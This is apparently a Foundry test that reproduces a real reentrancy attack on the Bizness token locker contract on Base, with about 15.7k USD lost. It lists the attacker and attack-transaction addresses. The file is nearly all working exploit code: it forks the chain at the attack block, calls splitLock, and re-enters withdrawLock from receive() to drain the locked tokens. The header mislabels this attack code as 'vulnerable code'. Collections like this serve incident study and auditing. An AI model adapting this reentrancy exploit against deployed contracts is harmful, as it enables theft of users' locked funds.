HIGH severity: Bizness exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 15.7k USD Attacker : https://basescan.org/address/0x3cc1edd8a25c912fcb51d7e61893e737c48cd98d Attack Contract : https://basescan.org/address/0x0f30ae8f41a5d3cc96abd07adf1550a9a0e557b5 Vulnerable Contract : https://basescan.org/address/0xd6a7

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import '../interface.sol';

// @KeyInfo - Total Lost : 15.7k USD
// Attacker : https://basescan.org/address/0x3cc1edd8a25c912fcb51d7e61893e737c48cd98d
// Attack Contract : https://basescan.org/address/0x0f30ae8f41a5d3cc96abd07adf1550a9a0e557b5
// Vulnerable Contract : https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693
// Attack Tx : https://basescan.org/tx/0x984cb29cdb4e92e5899e9c94768f8a34047d0e1074f9c4109364e3682e488873

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1872857132363645205
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant LOCKER = 0x80b9C9C883e376c4aA43d72413aB1Bd6A64A0654;
address constant BIZNESS_TOKEN = 0xF3a605573B93Fd22496f471A88AE45F35C1df5A7;
address constant ATTACKER = 0x0F30AE8f41a5d3Cc96abd07Adf1550A9A0E557b5;

contract Bizness is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 24282214 - 1;
    uint256 lockId = 11;

    function setUp() public {
        vm.createSelectFork("base", blocknumToForkFrom);
        fundingToken = BIZNESS_TOKEN;
        vm.deal(address(this), 1 ether);
        console.log("hello");

        vm.prank(ATTACKER);
        ILocker(LOCKER).transferLock(lockId, address(this));
    }

    function testExploit() public balanceLog {
        ILocker locker = ILocker(LOCKER);

        Lock memory lockBefore = locker.locks(lockId);
        console.log("lockBefore.amount ", lockBefore.amount);
        // Step 1: Split the lock to trigger reentrancy
        uint256 newSplitId = locker.splitLock{value: 0.011 ether}(lockId, lockBefore.amount - 1, 1735353747);

        // EXPLOIT RESULT: 
        // - Original lock (lockId) is now withdrawn (empty)
        // - New lock (newSplitId) contains (lockBefore.amount - 1) tokens
        // - Contract balance increased by lockBefore.amount tokens
        Lock memory lockAfter = locker.locks(newSplitId);
        console.log("lockAfter.amount ", lockAfter.amount);
    }
    
    function withdrawLock(uint256 _splitId) public {
        // Step 3: withdraw full locked amount
        ILocker locker = ILocker(LOCKER);
        locker.withdrawLock(_splitId);
    }

    receive() external payable {
        // Step 2: Reentrancy entry point
        console.log('received 0.001 ether', msg.value);
        withdrawLock(lockId);
    }
}

struct Lock {
    address token;
    uint256 tokenId;
    address beneficiary;
    uint256 amount;
    uint256 unlockTime;
    bool withdrawn;
}

interface ILocker {
    function locks(uint256 lockId) external view returns (Lock memory);
    function splitLock(uint256 _id, uint256 _newAmount, uint256 _newUnlockTime) external payable returns (uint256 _splitId);
    function withdrawLock(uint256 _id) external;
    function transferLock(uint256 _id, address _newBeneficiary) external;
}

Vulnerability type: unknown